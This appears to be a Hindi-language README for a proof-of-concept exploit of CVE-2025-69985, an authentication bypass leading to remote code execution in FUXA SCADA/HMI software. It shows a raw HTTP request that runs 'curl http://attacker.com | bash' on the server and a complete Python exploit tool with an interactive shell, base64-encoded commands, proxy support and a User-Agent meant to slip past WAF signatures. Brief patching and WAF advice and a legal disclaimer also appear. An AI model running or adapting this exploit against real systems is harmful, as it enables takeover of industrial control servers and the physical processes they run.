
CVE-2025-69985 के लिए PoC शोषण: FUXA SCADA ≤1.2.8 में प्रमाणीकरण बाईपास जो RCE की ओर ले जाता है। इसमें एक मॉड्यूलर पायथन शोषण शामिल है जिसमें इंटरैक्टिव शेल, Base64 पेलोड एन्कोडिंग और पेनिट्रेशन टेस्टिंग के लिए प्रॉक्सी समर्थन है।
यह रिपॉजिटरी CVE-2025-69985 कमजोरी के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) और विस्तृत तकनीकी दस्तावेज प्रदान करती है, जो FUXA (संस्करण ≤1.2.8) को प्रभावित करती है। यह कमजोरी एक अप्रमाणित हमलावर को एप्लिकेशन के मिडिलवेयर में प्रमाणीकरण बाईपास के माध्यम से सर्वर पर मनमाने कमांड निष्पादित करने (RCE) की अनुमति देती है।
विंडोज पर पारंपरिक मेमोरी ओवरफ्लो जैसी कमजोरियों के विपरीत, यह दोष मिडिलवेयर में एक तार्किक कमजोरी पर आधारित है, जहां सर्वर Referer हेडर के गलत सत्यापन के कारण बाहरी अनुरोधों को आंतरिक समझ लेता है।
| CVE | CVE-2025-69985 |
|---|---|
| प्रकार | वैकल्पिक पथ के माध्यम से प्रमाणीकरण बाईपास (CWE-288) |
| प्रभाव | रिमोट कोड निष्पादन (RCE) |
| गंभीरता | 9.8 गंभीर (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| प्रभावित संस्करण | FUXA ≤ 1.2.8 |
| प्लेटफ़ॉर्म | Node.js |
| उत्पाद | FUXA (वेब-आधारित SCADA/HMI) |
FUXA का मिडिलवेयर Referer हेडर पर आँख बंद करके भरोसा करता है। यदि कोई हमलावर निम्नलिखित के साथ अनुरोध भेजता है:
Referer: http://<target-ip>/
सर्वर मान लेता है कि अनुरोध आंतरिक है और JWT टोकन सत्यापन को छोड़ देता है, जिससे बिना प्रमाणीकरण के संरक्षित एंडपॉइंट तक पहुंच संभव हो जाती है।
एक बार प्रमाणीकरण को दरकिनार करने के बाद, हमलावर Node.js स्क्रिप्ट चलाने के लिए डिज़ाइन किए गए एंडपॉइंट /api/runscript के साथ बातचीत कर सकता है। एक दुर्भावनापूर्ण JSON पेलोड भेजकर, सर्वर प्रक्रिया पर पूर्ण नियंत्रण प्राप्त किया जा सकता है।
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ नोट: यह उदाहरण केवल व्याख्यात्मक है। प्राधिकरण के बिना उत्पादन वातावरण में न चलाएं।
| उत्पाद | संस्करण | प्लेटफ़ॉर्म |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
तत्काल अद्यतन FUXA को 1.2.8 से ऊपर के संस्करण में अपडेट करें (आधिकारिक पैच)।
मैन्युअल पैच
प्रमाणीकरण विधि के रूप में Referer हेडर पर भरोसा हटाने के लिए server/api/jwt-helper.js को संशोधित करें।
WAF कार्यान्वयन
Referer हेडर की परवाह किए बिना, ज्ञात प्रशासनिक नेटवर्क से उत्पन्न नहीं होने वाले /api/runscript एंडपॉइंट के अनुरोधों को अवरुद्ध करने के लिए वेब एप्लिकेशन फ़ायरवॉल कॉन्फ़िगर करें।
🔴 यह सामग्री विशेष रूप से शैक्षिक और सुरक्षा ऑडिट उद्देश्यों के लिए है। 🔴 स्पष्ट प्राधिकरण के बिना सिस्टम के विरुद्ध इन तकनीकों का उपयोग करना एक अपराध है। 🔴 लेखक इस जानकारी के दुरुपयोग के लिए जिम्मेदार नहीं हैं।
उन्नत विशेषताएं जो इस शोषण को पेशेवर स्तर (Exploit-DB या Red Team टूल शैली) तक ले जाती हैं:
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# सौंदर्य कॉन्फ़िगरेशन
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""हमले से पहले जांचता है कि एंडपॉइंट मौजूद है या नहीं।"""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # WAF/App कॉन्फ़िगरेशन पर निर्भर करता है
except Exception:
return False
def execute(self, command: str) -> str:
# उन्नत पेलोड: JSON को तोड़ने से बचने के लिए बेस64 एन्कोडिंग
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"त्रुटि: {r.status_code}"
except Exception as e:
return f"अपवाद: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA पेशेवर शोषण उपकरण")
parser.add_argument("-u", "--url", required=True, help="लक्ष्य URL")
parser.add_argument("-c", "--cmd", help="निष्पादित करने के लिए एकल कमांड")
parser.add_argument("-i", "--interactive", action="store_true", help="एक छद्म-इंटरैक्टिव शेल लॉन्च करें")
parser.add_argument("--proxy", help="HTTP प्रॉक्सी (उदाहरण: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"लक्ष्य: {args.url}")
if args.interactive:
Logger.success("इंटरैक्टिव मोड में प्रवेश। बाहर निकलने के लिए 'exit' टाइप करें।")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"निष्पादित किया जा रहा है: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ जिम्मेदार उपयोग: केवल नियंत्रित वातावरण में और स्पष्ट प्राधिकरण के साथ चलाएं।
| विशेषता | विवरण |
|---|
| 🔹 गतिशील शेल संचालन | --interactive (-i) मोड जो एकाधिक कमांड निष्पादित करने के लिए एक इंटरैक्टिव REPL खोलता है। |
| 🔹 पहचान और फिंगरप्रिंटिंग | हमला शुरू करने से पहले जाँचता है कि क्या /api/runscript एंडपॉइंट मौजूद है (check_vulnerable()). |
| 🔹 उन्नत पेलोड | वर्ण एस्केप समस्याओं (&, >, ", आदि) से बचने के लिए बेस64 में एन्कोडेड कमांड। |
| 🔹 नेटवर्क मजबूती | यादृच्छिक यूज़र-एजेंट और प्रॉक्सी के लिए समर्थन (Burp Suite या डिबगिंग के लिए उपयोगी)। |
| 🔹 OOP (ऑब्जेक्ट-ओरिएंटेड प्रोग्रामिंग) | मॉड्यूलर, पुन: प्रयोज्य और विस्तार योग्य FuxaExploit वर्ग। |
| विशेषता | लाभ |
|---|
| 🔹 OOP | मॉड्यूलरिटी: FuxaExploit वर्ग को अन्य स्क्रिप्ट या टूल्स में आयात किया जा सकता है। |
| 🔹 Base64 बाईपास | जटिल कमांड (जैसे: &, >, ", आदि) में एस्केप समस्याओं से बचाता है। |
🔹 स्यूडो-शेल (-i) | स्क्रिप्ट को पुनरारंभ किए बिना सिस्टम की इंटरैक्टिव जांच करने की अनुमति देता है। |
| 🔹 प्रॉक्सी समर्थन | Burp Suite या mitmproxy जैसे टूल्स का उपयोग करके शोषण को डीबग करने के लिए उपयोगी। |
| 🔹 यथार्थवादी हेडर | बुनियादी WAF हस्ताक्षरों से बचने के लिए ब्राउज़र यूज़र-एजेंट। |